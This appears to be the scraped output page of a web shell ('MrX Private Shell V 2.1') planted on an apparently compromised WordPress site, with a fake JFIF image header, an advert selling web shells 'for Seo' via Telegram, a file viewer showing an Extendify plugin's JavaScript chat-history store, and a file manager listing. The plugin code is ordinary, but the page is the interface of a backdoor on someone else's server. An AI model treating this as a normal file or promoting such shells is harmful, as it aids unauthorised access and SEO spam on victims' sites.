����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { create } from 'zustand';
import { createJSONStorage, devtools, persist } from 'zustand/middleware';
const initialState = {
experienceLevel: 'beginner',
currentQuestion: undefined,
};
const state = (set, get) => ({
history: [],
...initialState,
setCurrentQuestion: (currentQuestion) => set({ currentQuestion }),
setExperienceLevel: (experienceLevel) => set({ experienceLevel }),
addHistory: (question) =>
set((state) => ({
// Save the latest 10
history: [
question,
...state.history
.filter(({ answerId }) => answerId !== question.answerId)
.slice(0, 9),
],
})),
hasHistory: () => get().history.length > 0,
clearHistory: () => set({ history: [] }),
deleteFromHistory: (question) =>
set((state) => ({
history: state.history.filter(
({ answerId: id }) => id !== question.answerId,
),
})),
historyCount: () => get().history.length,
reset: () => set({ ...initialState }),
});
export const useAIChatStore = create(
persist(devtools(state, { name: 'Extendify Chat History' }), {
name: `extendify-chat-history-${window.extSharedData.siteId}`,
storage: createJSONStorage(() => localStorage),
}),
);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ai-chat.js | File | 1.14 KB | 0644 |
|
| globals-sync.js | File | 686 B | 0644 |
|
| knowledge-base.js | File | 2.22 KB | 0644 |
|
| tours.js | File | 6.51 KB | 0644 |
|
| user-selections.js | File | 985 B | 0644 |
|